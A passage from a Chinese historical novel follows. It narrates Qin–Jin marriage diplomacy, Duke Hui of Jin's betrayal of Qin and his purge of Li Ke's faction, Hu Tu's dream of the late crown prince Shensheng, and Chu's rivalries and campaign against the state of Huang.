秦国地僻民贫,与戎狄之国犬牙交错,让秦文公以后的六代君主无所作为。而秦人与戎狄通婚几百年,秦人的发肤容貌已同戎狄。不改变这一现状,秦人就将与戎狄无异了!嬴氏是商朝时的巨贵啊!秦穆公怎愿长期与戎狄为伍,他要归附中原,跻身中原大国之列,决心与近邻晋国联姻。
秦在黄河以西,晋在黄河以东,两国隔河相望,一衣带水。虽然晋国也处西北之地,但它已东出太行山,南接中原,又是姬姓大国,浸染着西周的礼仪文化,让秦穆公钦羡已久。
秦穆公个头不高,身材精壮,头发深红,眼珠泛绿,已是狄人模样。但他眉毛整齐,鼻梁挺拔,嘴唇微薄,保留着部分华夏的传统面容。他的性格修炼得温和从容,内心强烈地追求中原文化,熟读《诗》《书》,手不释卷。他要以华夏的诗书,从戎狄的蛮荒文化中脱颖而出,重新投入中原怀抱。他对大夫公子絷说道:“晋为礼仪之国,与我相邻,若与联姻,必兴邦化民,是大略也!”
公子絷是秦国的公族子弟,朝廷重臣,身材粗壮,却性格内敛,目光柔和亲切。他明白国君的良苦用心,说道:“臣即聘晋求亲,不辱使命!”
公元前653年,公子絷带着重礼出使晋国,对晋献公说道:
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“寡君承位六载,正寝空悬,只为结秦晋之好,愿贤侯不弃!”
秦国来攀亲,晋献公心中也很高兴。因为齐姜之女、申生的小妹年纪也不小了。可嫁到那个蛮荒的戎狄之国,他又不甘心。想来想去,还是占卜吧!太史卜了一卦,得了个上爻,爻辞说:“松柏为邻,世作舅甥,三定我君。利于婚媾,不利寇。”
太史怕晋献公又信筮不信卜,便进言道:“秦虽居西域,却受白帝之佑。卜爻示吉,不可违之。”晋献公不敢得罪白帝,也不敢违神卜之意,便应允将女儿伯姬嫁给秦穆公。
公子絷大喜,立即在西渡黄河,回国复命,在渡口见到一气质优雅却衣裳破旧之人。他仔细打量,只见那人身材颀长,皮肤洁白,高额浓眉,唇红齿白,这是贵族之貌啊,立即上前攀谈:“敢问公子尊姓大名,欲往何处?”
那人回头一看,惊道:“大人莫非是子絷大夫?”
“正是!公子如何识得在下?”
“我亦为秦人,乃公室之后也,名枝,字子桑。因不堪为用,故游历晋国。今见晋人自相残杀,故而回国避祸。”
“子桑!子桑!腹有诗书,胸怀韬略,某早有耳闻也!何不随我入宫,面见君上,君上必喜。”
“如此甚好,多谢子显。”
身材粗蛮,性格直爽的公子絷字子显,他无比喜爱温文尔雅的公孙枝,回国后将他推荐给秦穆公。穆公大喜,封为大夫,令他协助公子絷操办迎娶伯姬的婚礼。
秦晋联姻,是两国的大事,婚礼隆重热烈。可细心的公孙枝在核对伯姬陪嫁的媵人名单时,看见了一个熟悉的名字:百里奚。这是虞国的贤臣啊,怎么成了媵人?便立即去查。可查遍了随嫁的媵人,就是没有百里奚。一问才知道,百里奚来秦的途中,私自逃走了。
子桑对公子絷说道:“那百里奚乃楚人也,年轻时游历中原,曾到洛邑为王子带饲马,见王子带意欲谋逆篡位,又逃往虞国,虞君爱之,任为大夫。晋人假虞灭虢,回军之时又灭虞国,故百里奚被囚,充为媵人。其不堪大辱,故而逃走。然此人行走中原四十余载,博识广闻,目光高远,乃稀世之才也。”
“此等贤才,岂可任其逃走?速遣人打探,务要追回。”
公孙枝经多方打听,才知道七十岁的百里奚逃到了楚国的申县。那里是他的故乡。四十多年前,他从故乡出来时,那里还是申国的领地。此次逃回,一切都变了,妻儿也不见了踪影,便到申县的军用马场养马去了。
秦穆公闻报,立即派公孙枝赶到申县,用五张羊皮将这个七十多岁的老头换回秦国,封为上卿,官拜左庶长。百里奚感动之余,立即向秦穆公推荐自己的好友蹇叔。
蹇叔是齐国绖(dié迭)地(今江苏北部沛县)人,性情散淡,无意仕途。偶遇**到齐国的百里奚,两人引为知己。当时,蹇叔以独特的目光,预言王子带必反,虞国必灭,让百里奚敬佩不已,向秦穆公推荐他为右庶长,位居自己之上。
求才如渴的秦穆公欣然应诺。一桩美好的姻缘,为秦国带来了蹇叔、百里奚和公孙枝三位贤臣。人才凋零的秦国公室,一下变得生机勃勃。
就在这时,郤芮受夷吾之命来到了秦国,赤裸裸地对秦穆公说道:“鄙邑不幸,屡遭大乱,今群臣欲立三公子夷吾为君。若蒙秦伯庇护,三公子回国登基,愿以河西五邑致谢!”
好事一桩接一桩,秦穆公高兴得眉开眼笑,请郤芮入国馆稍歇,立即告之群臣,说道:“寡人欲平晋国之乱,与邻睦好。试若立贤者为君,夷吾与重耳,不知谁贤?”
“闻重耳天生异相,重义守礼,名重朝野,贤于夷吾。”蹇叔说道。
“既如此,立谁为好?”穆公问道。
蹇叔低头不语。
百里奚说道:“贤则与邻为善,当立重耳。”
“他国之贤,邻国之忧,左庶长欲强晋压秦乎?”目光现实的公子絷说道。
“重耳不愿回国。夷吾亲秦,更许秦河西五邑之地,可立夷吾!”公孙枝也说道。
“今日图利而割地,明日必争利而仇秦,此等小人,必害殃邻,决不可立!”百里奚固执地说道。
秦穆公笑意全消,一时不置可否,又把目光转向蹇叔,等待他的意见。
蹇叔当然愿立重耳。但秦人现实,只看眼前利益,他更不好否决公子絷和公孙枝的意见,便静静地说道:“他国奸贤,自由他定。国君可顺天应命,主大义而无所图,秦必无恙。”
一番话说得大家噤然无声,蹇叔既警告大家不要贪图份外之财,也不能强扶重耳。秦穆公也觉得该顺天应命,便笑意又现,立即召见郤芮,同意护送夷吾回国。
就在这时,早就对晋国不满的齐桓公听闻晋国公室又连弑二君,愤慨之下,派管仲和隰朋率军来平晋乱。兵至高梁(今山西临汾东北)时,齐桓公得到急报:王子带意欲谋反!齐桓公无奈,只好派管仲去王城平叛;派隰朋到晋国平乱。
当隰朋率军来到绛都郊野,怕遭讨伐的里克丕郑等人殷勤往迎,并将晋国的局势作了汇报,告之晋国朝野欲立夷吾为君,晋乱已平。但处事谨慎的隰朋并不放心,留在绛都等待夷吾的到来。
夷吾来到秦国,在秦军三百战车的护送下,准备回国登基。这时,穆公夫人伯姬见弟弟来秦,便出来相送,说道:“贾姬无后,孤苦无依,弟回国后,望善待贾氏之人。”
贾姬就是当年嫁给晋献公的贾国公主,贾华的姐姐,早已是**之女,年纪并不大,却无生育,便把少女时代的伯姬当作女儿。而伯姬也把她当作母亲,可谓母女情深。夷吾点头答应。
公元前650年四月,公子絷率秦军护送夷吾回国。这时,正遭受王子带威逼的周惠王以己度人,体恤夷吾在乱世之中立身不易,便派大臣周公忌父和王子党两人前来册立新的晋侯。
正所谓风云际会,隰朋也在晋国!于是,天子使臣,霸主特使和秦国代表齐集绛都,为夷吾举行了盛大的加冕仪式。这是东周一百多年来诸侯最隆重的登基仪式,为的是树君主的权威,刹住晋国的弑君之风!夷吾终于如愿遂心。他,就是晋惠公。
第36章 夷吾翻脸无情 狐突国祭申生
夷吾登位后面临的第一个难题,就是割河西五城于秦。护送他的公子絷还在晋国等着交接呢。但是,晋惠公登基前后的心态完全不同。现在,君位稳固的他根本不想兑现诺言,便召众臣商议。
割地求秦是鹰钩鼻郤芮的主意,现在,他翻脸不认账,说道:“此一时,彼一时也!河西之地乃先君浴血所取,怎可轻易与人?囯君不可许!”
坚守礼义仁信的里克说道:“既已许秦,岂可背信?秦为大国,有恩于我,不如与之。”
可鹰钩鼻根本不买他的账,他强硬地说道:“秦虽有恩,亦不可辱国割地!若以金玉代之,好言抚之,秦必无怨。”
吕甥也说道:“君上回国,乃天子之封,方伯之威,岂独秦国之功?不与,秦奈我何?”
“今日不与,当初何必许之?若背信弃义,何以面对天下?”里克还把自己当作首辅大臣。其实,晋惠公一登基,就任国舅狐突为上卿,与他同列而分权。而郤芮和吕甥,是随晋惠公逃亡的心腹之人,虽为大夫,却实权在握,正在把他架空!
“上卿乃晋臣,非秦臣也!谋河西五邑于秦,是谋汾阳之田于己也!”郤芮语气隐晦地告诉他:不要妄想得到汾阳之田了!
晋惠公说道:“如欲不与,则需一能言之人聘秦,好言抚之,勿使秦晋交恶。”
谁都不愿揽这个背信弃义的差事。堂下突然静寂。有一人挺身而出,说道:“微臣愿往!只需君上修书一封。”
此人就是丕郑,里克的左膀右臂。长得肥头大耳的他,见郤芮如此猖狂,预感大事不妙,准备溜了。
晋惠公正要把他和里克拆开,欣然允诺。便修书让他带上,随公子絷入秦面见秦穆公。只见书信写道:
夷吾奉书再拜秦贤伯殿下:蒙贤伯大义,夷吾得主宗庙。然始许五邑,众臣俱阻,皆言彼时夷吾**在外,非为晋君,无权割地也。然深恩难忘,特遣丕郑奉金玉以谢贤伯,谨以敬致,伏惟照鉴!
穆公顿时勃然大怒,骂道:“竖子果为奸人,井伯之言善哉!来人,将丕郑推出斩首!”
“君上息怒!那夷吾正欲借君之手除去丕郑,以谋里克!”百里奚字井伯。
“此郤芮、吕甥之谋,非丕郑之罪也!”公子絷也为丕郑求情。
丕郑趁机说道:“里克欲许五邑,无奈郤芮、吕甥二人阻挠。夷吾之爪牙,惟此二人与郤称耳!若贤伯以重礼招此三入秦而除之,则可拥重耳入晋,臣与里克为内应,必成废立之举!不独五邑唾手可得,秦晋之亲,更甚今日。”
秦穆公转眼看蹇叔和百里奚,见二人都不说话,便令大夫冷至也带着金币和玉器随丕郑回访晋国。
两人刚过黄河,便传来里克**的消息。
原来,丕郑一走,郤芮就对晋惠公说道:“里克势大,心念重耳,若不早除,待丕郑回国,有七舆大夫佐之,与重耳里应外合,国君危矣!”
晋惠公吓出一身冷汗,立即下令:“汝必速往诛之!”
郤芮带兵包围上卿府邸,进去对里克说道:“国君有言:‘无上卿相助,寡人不得回国为君。然,汝弑杀二君,诛顾命大臣,其罪难恕!寡人与汝君臣相亲,不亦难乎?’”
里克说道:“臣不废立,何以有君?欲加之罪,何患无辞?臣依礼遵命。”说完,挥剑自尽。
里克**,震惊三晋,丕郑吓得全身发软,瘫倒在地上。
憨厚的秦使冷至劝道:“里克虽诛,屠岸夷并七舆大夫皆安然无恙,想必晋侯不愿累及众人,以儆效尤耳。”
此时,脑大眼大的丕郑才后悔自己不该逃避,早该与里克和七舆大夫联手,除掉郤芮等人。冷至的话提醒了他,里克虽亡,可自己的势力还在,儿子丕豹和家眷全在绛都,他不能逃,必须除掉劲敌!”
他带着冷至进宫谒见晋惠公,献上重礼和秦穆公书札。夷吾打开书信一看,只见上面写道:
任好奉书再拜晋贤侯殿下:晋秦睦邻,更为姻亲,岂能贪地求邑,以伤甥舅之谊?然秦地狭小,欲西征夷狄之地,奈无人谋之。今闻郤芮兄弟与吕甥为晋之智谋之臣,久慕其名,特邀来秦,以教西征之策!则上国河西五城安然,秦亦得西域沃土,两全其美矣!
晋惠公见秦国不讨河西五城了,心花怒放,把书札扔给郤芮,拿起两片黄灿灿的金币,一面把玩,一面笑着说道:“秦伯仁厚,贤卿可往聘秦,达我谢意,释彼疑难,两全其美也。”
然而,郤芮是何等聪明!他读完信,说道:“秦使聘晋,币重言甘,是我不献五城,诱我而杀之!此必有我晋人为谋也!”说完眼睛盯住了丕郑。
郤芮鹰视狼顾,让丕郑胆战心惊,无言以对。诛杀三人的计划被郤芮一眼看破,冷至怏怏回国。丕郑预感大难将临,当晚令儿子丕豹逃往秦囯,自己召七舆大夫商量对策。
八人正商量之际,突然外面有人敲门,八人如临大敌,提剑躲到大门两侧。管家开门,走进一个高大粗壮的武将,那肥大的鼻子,厚厚的嘴唇,一看就是忠厚之人。
“屠岸夷!”众人叫道,立即回到里屋。
“尔等在此商议,为何丢下我一人!”屠岸夷非常不满。
“事急,未及通晓。将军可知,大难至矣!”丕郑说道。
“我等能诛奚齐、卓子,亦能诛夷吾!若我九人以**往请重耳,重耳必归,大事可成!”屠岸夷似乎还挟带着杀卓子时的勇气。
八人都认为这是个好办法,立即写下**,九人签名。为保路途万无一失,万夫莫当的屠岸夷当仁不让,主动要求连夜前往翟囯送**。其余八人商定明日诛杀晋惠公的详细方案。
第二天早朝,八人毕至。右行将军贾华和左行将军共华衷甲佩剑,依例守于宫门左右。叔坚、特宫、累虎、骓歂和山祁都持剑上朝。丕郑仿佛成竹在胸,穿朝服站立前排。
众臣朝见完毕,晋惠公说道:“众臣何事要奏?”
“禀国君,上卿里克弑杀二君,心中惶恐,自刎谢罪,奏请厚葬!”郤芮语气沉重地说道。
这时,七舆大夫之一的叔坚站了出来,说道:“上卿殒命,乃郤芮所逼。前日深夜,郤芮领兵包围上卿府邸,逼死上卿!”
“此事有四邻为证!昨日闻上卿亡故,百姓皆唏嘘流涕,方知郤芮夜进上卿府,是为索命也!”身材强壮的特宫也大声说道。
郤芮的鹰眼锐利地望着众人,说道:“弑君之罪,万劫不复!上卿以死谢罪,是为善终,尔等何必多言?”
“上卿迎驾之功,岂不能抵除恶之过?郤芮诛杀上卿,罪在不赦!”年龄最小的累虎干脆叫了起来!
“诛杀郤芮,以谢国人!”胆小的骓歂和山祁,受大家鼓舞,也喊了起来。
七舆大夫逼宫,晋惠公却安坐君位之上,双眼四顾,不发一声。
丕郑上前,躬身说道:“启禀国君,里克三朝老臣,国之栋梁。今无辜被诛,三晋哀恸!不诛郤芮,无以谢天下!”
“丕郑!尔助老贼连弑二君,今日有三乎?屠岸夷何在?”郤芮喊道。
“末将在!”屠岸夷应声而出,拿出**,说道:“丕郑与七舆大夫密谋弑君,罪证在此!”
屠岸夷叛变了!五大夫目瞪口呆,全身发软。丕郑喊道:“二行将军,还不动手?”
贾华与共华这才醒悟过来,两人同声喊道:“来人!”
门外的禁军立即冲了进来,可这些人贾华和共华一个都不认识!正在疑惑,禁军的刀剑已架到他俩的脖子上。叔坚等五位大夫一见不对,拔剑要冲,却被禁军如林的刀剑围住,个个束手就擒。丕郑孤独地站在堂前,眼见七舆大夫就擒,全身颤抖,如坠深渊。郤芮走了过来,那高高的鹰钩鼻几乎贴到他脸上,一字一句地说道:“一之谓甚,岂可再三?”
原来,老辣的郤芮早就看准了屠岸夷的外强中奸!诛杀里克的同时,他同时也令吕甥将屠岸夷诱至宫中擒住,以弑君之罪要将他处死。这个号称无敌的勇士贪生怕死,跪地求饶,答应为其充当帮凶,使晋惠公将里克余党一网打尽。
晋惠公下令将八人全部推出斩首,并灭其族!贾华大声喊道:“昔先君令臣诛杀国君之时,吾曾私报国君,君上幸逃。今日可抵一命乎?”
夷吾一听,想起姐姐要他照顾贾氏一族的话,正要开口,郤芮说道:“不可!其弟贾佗已投重耳,留之必为内患!”晋惠公把那双眼灵活的小眼一闭,不再出声。
八人全被诛杀,并抄家灭族!绛都到处传来军队急促的马蹄声,悲哀的哭号四
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面响起。人们不敢出门,绛都的夜晚,死一般的冷寂。
贾华绝望的目光在夷吾的眼前挥之不去。可姐姐是秦国国母,怎好向她交代?夷吾思之再三,决定去探望偏宫中的贾姬。
弟弟刚刚受诛,贾姬还在伏枕伤心啜泣,国君就闯了进来。她身穿薄如蚕丝的粉红禅衣,来不及穿上那锦绣短袄,只好起身相迎,吓得全身颤抖。那丰盈的前胸微微颤动,椭圆的脸庞,黝黑的大眼,让年轻的君王春心悸动。这个传说还是处女之身的女人,少女的情态犹在,少妇的风韵正浓。她那性感的身段,让夷吾怜爱不已,情不自禁地将她抱了起来,急切地放到床上,把她的衣裳全部剥开一看,果然还是一个白嫰的小娇女!
晋惠公继承了晋献公以子蒸母的传统,从此与贾姬鱼水情欢。贾姬虽是他的刀俎之肉,却也是他的母亲。在他春情正浓之时,对他说道:“伯姬于君有恩,于妾有情。若昭世子之冤,厚葬世子,方报伯姬恩情。亦可笼络世子**,为君所用!”
如前所述,齐姜为晋献公生下一儿一女,儿子是申生,女儿就是伯姬。因此,太子申生是伯姬同父同母的哥哥。夷吾一听,厚葬申生既成全伯姬做妹妹的心愿,又可获得民心,更赢得小娇女的芳心,便欣然应从。第二天一上朝,便对众臣说道:“昔世子蒙冤而亡,国人共悲。今寡人欲昭雪冤屈,改葬世子,可否?”
国舅狐突自被晋惠公封为上卿之后,极少说话。他知道,自己这个上卿只是给国人看的摆设,与里克差不了多少。但国君难得做一件善事,他要全力玉成,便说道:“此乃顺天应人之举。如此,世子之灵必安,国人之心必抚。”
“既如此,劳上卿前往新城,祭祀世子,以昭其冤!”国舅主祭,当然最合适。
“禀国君,若昭世子之冤,必立世子之谥,彰其生誉,成其哀荣!”郤芮之弟郤称从小崇拜申生,也谏言道。
“然也!众卿以为,何谥可享世子?”晋恵公问道。
大家一时想不出合适的谥号。深通周礼的狐突说道:“世子一生,以谦卑自守,以仁德自律,应谥之以“共”。共者,恭也。谥法云:‘恭者,卑以自牧,不懈于德’,此世子之谓也!”
众臣都赞成。晋惠公立即令狐突和郤称前去曲沃,以大礼改葬太子。
狐突带着郤称、太史苏、宫中大巫及军士等大队人马前往曲沃,走了一半,天色渐暗,狐突下令搭帐过夜,天亮再走。他刚在帐内睡下,只见一辆华丽的七色乘车从夕阳的余晖中飘然而下,缤纷的车帷如云霞飘舞,艳丽的流苏如鲜花朵朵。申生一袭白袍,坐于车帷之中,脸色冷峻凄苦。师傅杜原款独立车前,对狐突说道:“天使驾到,车驾狐突请速莅临!”
狐突看得呆若木鸡。听见申生仍令他为车驾,立即前去登临驾位,正要驱车,只听太子说道:“夷吾施恶朝野,秽乱后宫,我已奏请天帝,托秦管理晋国,我将享秦祭祀,夷吾之祀,我不享也!”
狐突听罢,立即下车跪奏:“世子既为天使,岂可弃晋就秦?臣闻神不享异族祭祀,百姓不祭异族之神。晋人何罪,竟不能祭国之世子?赏罚不当,恐断祭祀矣!乞天使明鉴!”
申生听言,久久不语。而后睁眼说道:“喏,我将复奏天帝,七日之后,我令大巫传帝意旨,汝于新城西门听旨。”说完,驾车飘然而去。
狐突睁眼一看,原来是南柯一梦!明白申生托梦给他。他不敢怠慢,第二天一到曲沃,便令曲沃大巫到城西候旨,自己驻住城中。七日后,狐突及期而往,见曲沃大巫披头散发,两眼发光,四肢发抖,在城头仰天大喊:“天帝令晋人自理,世子可享晋人之祀,三年后,必惩夷吾于韩原!”
“谨遵天帝之令!”狐突和众臣及百姓诚惶诚恐,一齐跪受帝旨。
有了天帝的敕令,狐突下令改葬太子。在高高的新墓前,狐突举行了隆重的祭祀仪式。他传令三晋:“国君欲彰世子之德,赐世子谥号:共。国人共尊!”
此时的曲沃,已是万人空巷。百姓纷纷前来,含泪祭奠蒙冤而死的故主。听到国舅公布太子谥号,漫山遍野的百姓泪如雨下,哭声盈天,一齐向冢而跪,大声喊道:“尚飨,共世子!”
第37章 商臣结党 子职降生
商臣自从得父王赠剑,又以柳叶铜剑杀死眼镜王蛇之后,心中得意洋洋,天天把剑佩戴在身上,见人就要比试。可宫中之人都不愿与他比,他便常常佩剑出宫,寻找对手。
这天,他又带着两名卫士出宫,在郢都城内闲逛。走着走着,看见一家剑铺,有人在挑剑,有人在评剑,还有人在比试,好不热闹,他立即走了进去。
剑铺内果然挂着许多好剑,做工细致,剑刃锋利。有的剑柄之上还镶嵌着宝石,熠熠闪光。商臣正认真细看,忽见一位个头与他不相上下,年龄相当的公子正在打量一把红铜剑。这把剑通体呈红,如血丝流淌,红光掠影,十分神奇。公子将剑取下,上下打量,爱不释手。
“果然是好剑!”商臣情不自禁地感叹道。
那位公子一听,说道:“剑虽好,然价格太贵!”
“价钱多少?”商臣看了看他,发现他的脖子有点歪斜,对他好奇起来。
“须金币五枚!”
“既是好剑,何吝金币?公子若买下,可与我柳叶铜剑比试!”商臣忍不住将自己的剑拔了出来。
那位公子凑近一看:“此剑果然锋利!价值多少?”
“此剑乃父王所赠,无价之宝!”
“父王所赠?”公子看了看他身后的两名卫士,说道:“殿下莫非大王子?”
“正是!”商臣将剑插入鞘中。
“见过大王子!”那公子恭敬施礼道:“父亲曾亲口告之于我,我与大王子同年同月同日生!”
“果真如此?汝是何人?家父是谁?”
“家父屈完,在下屈臣是也!”
“原来是莫敖府屈臣公子,果然有缘!今日为何吝啬几个金币?”商臣也高兴起来。
“非吝啬金币,只恐家父责怪!既然大王子劝我,我且买下!”屈臣高兴地说道。
商臣兴奋起来,说道:“汝既买宝剑,且出城与我一比剑法,如何?”
“在下剑术不精,正好请大王子指点!”
两人出城,远远望见一个山丘,山丘上是一片空地。商臣上去一看,说道:“此地正好比试!”说完拔出剑来。
商臣出剑既快又狠,谁知屈臣的剑法纯熟,招招都能破解。两人来往几十个回合,商臣占不到便宜,便虚晃一剑,一步跳开,说道:“屈公子师从何人?”
屈臣收剑说道:“当今国巫矞似!”
“原来是国巫所授,好剑法!我杀眼镜王蛇之时,便是国巫令我横剑以对,否则,险些被王蛇所伤!”
“大王子剑法亦精,使我难有还手之机!”屈臣也巧妙地夸了一下商臣!
“来,再比!”商臣不愿认输,挥剑又冲了上来!两人越斗越狠,正杀得不可开交,突然闯来一人,挥剑将两人的剑挑开,说道:“两位公子不相上下,不必再比,且一起来攻我!”
两人定神一看,此人高出两人一大头,约有十多岁,体格健壮,身手灵活,那长相如狼似虎,声音也如狼叫一般。
“汝是何人?如此无礼?”商臣暴怒道。
“若先赢我,便告知姓名!”那人挥剑就刺向商臣,那剑迅疾如风,商臣躲避不及,被剑挑破衣襟。他恼怒地回剑一刺,那人轻盈地闪开。这时,屈臣一剑刺来,谁知他闪过剑锋顺势一剑反刺过来,屈臣也灵机一闪,转身又是一剑,险些将他刺中!
“好剑法!”那人躲开以后,情不自禁地喊道:“汝是何人?竟能躲过我的剑锋!”
“汝是何人?竟能躲过我的反手剑?”
“我叫斗越椒,家父右司马子良!”
“汝是大司马之子,令尹之侄?为何从未见过?”商臣说道。
“汝是何人?”斗越椒问道。
“休得无礼,此乃大王子!”屈臣说道。
“见过大王子!斗椒长住斗地,初来郢都,不识尊颜,请大王子见谅!”斗越椒立即鞠躬致礼。
“汝之剑法高妙,何人所教?”
“此乃我斗氏秘传剑法,宗伯亲授,天下无人能敌!”斗越椒狂傲地说道。
“斗氏之剑,闻名天下!”屈臣钦佩地说道。
“汝身背弓箭,箭法如何?”楚人都知道斗氏之人个个武艺了得,今日一见,商臣生出一种羡慕之情。
“走,且去荆山寻得飞禽,比比箭法!”斗越椒见到大王子,兴趣更浓了。
三人一高兴,又往荆山走去。来到一个山头,这是荆山的余脉,山不高,却有一棵巨大的樟树独立挺拔,樟树周围飞翔着一些小鸟,没有大的猎物可射。斗越椒只得取下弓箭,对着远处飞舞的一只小斑鸠,一箭射去,小斑鸠带箭滚落下来。
“好箭法!”两人一齐喊道!
“人言斗氏之人武艺了得,果然名不虚传!汝若长大从军,必为将军!”屈臣赞扬道。
“我长大后要当大王!”斗越椒得意起来。
谁知商臣拔剑指着他说道:“汝休得梦想!大楚王位,为我熊氏独有!汝敢僭越,我必砍汝之头!”
斗越椒一下明白说错了话,立即软了下来,尴尬地笑道:“我戏言耳!大王子勿怪!”
商臣仍不罢休,说道:“汝等皆为我臣,我若登上王位,汝等必效忠于我!”
“我等效忠大王子!”两人跪地说道。
商臣这才罢休,他以左手托住剑刃,说道:“父王赠我此剑,必予我王位!我必封尔等为大将军!”
“我为大楚令尹,为大王扫平中原!”斗越椒依然心高气傲。
“我为大楚国巫,为大王测算吉凶!”
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屈臣也说出了心里话。
商臣点点头,但却满脸不高兴。
斗越椒担心地说道:“大王为何还未立嫡?闻许妃将要生产,若生下王子,岂不要与大王子争位?”
商臣一听又火了,说道:“谁敢与我争位,我必以此剑诛之!”
两人不敢再说,默默起身回城去了。
商臣回来,还担心出城太久被母妃责怪,可一进西宫,发现母亲根本不在,月儿也不见踪影。他一打听,原来母亲和月儿都去了南宫,许妃真的要生了!
商臣心里一惊!若许妃真的生下一个男孩,父王会把王位交给谁呢?他的心,突然不安起来!
蔡妃坐在南宫的大堂内,心情也像儿子一样忐忑不安。太后早已进入寝殿,帮助许妃生产,她却坐在大堂内一动不动。自从楚成王向商臣赠剑,又带他去打猎,她悬着的心就放下来一半。当她正想办法诱导丈夫立嫡之时,许妃又临产了!如果生下男孩,立谁为嫡就很难说了!她抑制不住对许妃的憎恨,但又不能发泄,便坐在那里一动不动,只看着丈夫在寝殿门口焦急地踱来踱去。
“哇——”只听寝殿内传来婴儿清亮的哭声,她一下本能地站了起来!只见丈夫一下冲了进去,里面传来接生婆的喊声:“生了!生了!是一男儿!”
“恭喜大王!”
“恭喜太后!”
“哈哈,果然被我言中,生下一个男子!”太后爽朗的笑声,让蔡妃倍感刺激!可她不能没有表示,便强装笑容地走了进去,说道:“恭喜大王,恭喜妹妹,商臣有弟弟了!”
脸色苍白的许妃向她微笑着点了点头。
此时,接生婆已将婴儿包裹好,太后接过去看了又看,对楚成王说道:“如此清纯可爱,与汝出生时一模一样!”
楚成王接过婴儿,嘿嘿地笑道:“果真与我小时一样?”
“母亲还会骗汝?”太后得意地说道。
“大王,取个名字吧?”虚弱的许妃艰难地说道。
“名职可矣!”这次他也许早就想好了。
“职?”太后和许妃同时质问道。
“职者,尽忠守责也!”楚成王解释道。
大家终于听明白了,是职守的职。蔡妃觉得这个名字一般,好像没有
特殊含义,便点头退了出来。
就在这时,出使黄国的右司马子良走进大堂,见楚成王从寝殿出来,立即迎了上去,说道“恭喜大王!”
楚成王问道:“右司马何时回郢?”
“刚刚回来,闻大王有喜,便直接来到南宫!”
“如何?黄国愿臣服大楚否?”
子良摇摇头:“那赢余不肯朝觐、纳贡。”
楚成王把眼一瞪,说道:“明日大朝,商议伐黄!”
第38章 楚国东征
题记:淮河,中国南北的分界线,是天子授予楚国镇守的
夷、越之地。可东夷诸侯心向齐国,拒不盟楚。楚人的铁蹄,
终于踏破了这里的宁静。
第二天大朝,文武百官和军中将领悉数来朝。楚成王高声喊道:“右司马何在?”
“臣在!”个头不高,长就一副宽脸的子良立即上前应道。
“那赢余如何回复寡人?”楚成王一改过去的谦称,厉声问道。
“那黄侯对臣言道:‘我侯爵之国,岂能听命于子爵之邦?郢都距我九百里,焉能害我?’”
“黄侯有齐国撑腰,不受天子之命也!”子文一针见血地说道。
“黄国不服大楚,数来有年!昔先祖武王作沈鹿之盟,黄不与会。武王、文王皆欲伐之!大王须承先祖遗愿,征服黄国!”屈完也觉得黄国的问题不解决,整个东夷都是难题。
楚成王说道:“昔日父王伐黄,因染疾而撤兵,遗愿未了。寡人意欲东征,以全父王夙愿!诸卿以为如何?”
“大王,黄、江背楚投齐,为江淮之患。若平二国,则樊、蒋、蓼、六、群舒等国必望风而归,江淮千里沃土尽归大楚!是时,北指徐国,则淮北亦属楚矣!”成得臣站在战略的高度,雄心勃勃地说道。
“左司马之言极是!寡人欲平江淮,必灭黄、江二国!”楚成王说道。自围许救郑之役后,对子玉欣赏有加的楚成王,已封他为左司马。
“天子授楚镇服夷、越之权,大王更具东征之志,子玉亦有平敌之策。时不我待,此战必收江淮之地也!”子文也觉得东征的时机到了。
江国、息国、弦国、黄国、蒋国、蓼国成一字由西向东沿淮河两岸排列,此六国是东夷掌控淮河流域的主要力量。六国之中,黄是领袖,但息国和弦国已伐灭归楚,只要剿灭黄国和江国,蒋、蓼二国必然俯首称臣。则淮河流域的广袤土地将全部被楚国掌控!子玉不仅是将才,还是目光远大的帅才,难怪屈完也支持他。
屈完支持子玉,是觉得该让年轻一代放手一搏,而楚成王和子文都心照不宣地不用屈完东征,倒不是因为他老,而是其爷爷和父亲都在晚年战死沙场,心有余悸。故大家形成了默契。屈完的退让,子文的钟爱,加上成王的信任,楚国的军权,无形之中已交于子玉之手。
公元前648年季春时节,楚成王以子玉为中军元帅;斗宜申为左军元帅;斗勃为右军元帅。楚成王御驾亲征,大军直指黄国。
三军声势浩荡,以子文不久前剿灭的弦国为基地,将黄国西、南、东三面包围起来,便日夜制作云梯,勘察地形,制订攻城方案,并作攻城训练。
子玉治军严格,井井有条。但事事自作主张,事后才报。楚成王也年轻气盛,攻城心切。这天,他亲自出营,冒险接近都城,察看地形。
子玉闻讯,飞马赶来,劝大王回营。楚成王指着城墙说道:“黄为千年古国,墙高城固,攻之不易!大司马须小心应对!”
子玉一听,心机灵动,说道:“大王亲出,子玉计成,何愁古城坚固!”说完哈哈大笑,纵马而去。
当年,楚文王攻到黄国城下,因城墙太高,只好撤兵,转眼已是二十多年。楚成王为一战而胜,仍憋不住带着随军大夫蒍吕臣天天绕着城墙转,思虑从何处下手。蒍吕臣劝道:“攻伐之策,自有子玉谋划,大王不必以身赴险!”楚成王不听。蒍吕臣又求子玉再劝,子玉却笑而不答,只令斗勃带上二千精锐将士,与两广卫队一起,小心护卫,随他四处转悠。
此时的黄城之内,已是人心惶惶。黄国国君嬴余承袭了黄人高傲的性格,不愿臣服楚国。现在,楚已奔袭九百里,兵临城下,而齐国的援军却杳无踪影。他这才慌了,令全城青壮一律上城头守备,要与楚军拼死一搏。
可楚军迟迟不进攻,只见一辆华丽的玉辂总在城外转悠。惹得军士们眼冒火花,纷纷要求冲出城去,活捉楚王!
国君与众将商议,楚人欺我太甚,如若抓住楚王,楚必求和,黄国可保,这是唯一的生机。赢余便从全军之中挑出五千精英,埋伏在东门两侧,只等楚王再来。
弦国在黄国西侧,楚军主力主要集结在西、南两面,东面楚军薄弱,而黄国守军也薄弱,楚成王转了几天,决定从东面进攻。这天,又来到东门前细察,越来越胆大的他已车临东门,近至百步左右,两广护卫正要劝他离开。这时,东门大
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开,黄国五千精英呼啸而出,直冲过来。楚成王吓出一身冷汗,急令退去。可斗勃根本不管楚成王,带着二千精锐直冲城门而去。两广将军莫名其妙,赶紧掩护大王逃命。
那五千精英的目标是楚成王,不与斗勃的将士纠缠,狂追而去。斗勃趁机占领东门。东门的黄国精锐将士大都出袭,留守者多数是刚刚拼凑起来的城中百姓,被剽悍的楚军将士杀得血肉横飞,抱头鼠窜,一边跑一边喊:“楚军进城也!”
此时,左军正猛攻西门;右军也在攻打南门。大战正酣,忽见东门的兵士全身血淋淋地狂奔呼号,黄军顿时慌乱,军心涣散,失去了斗志。
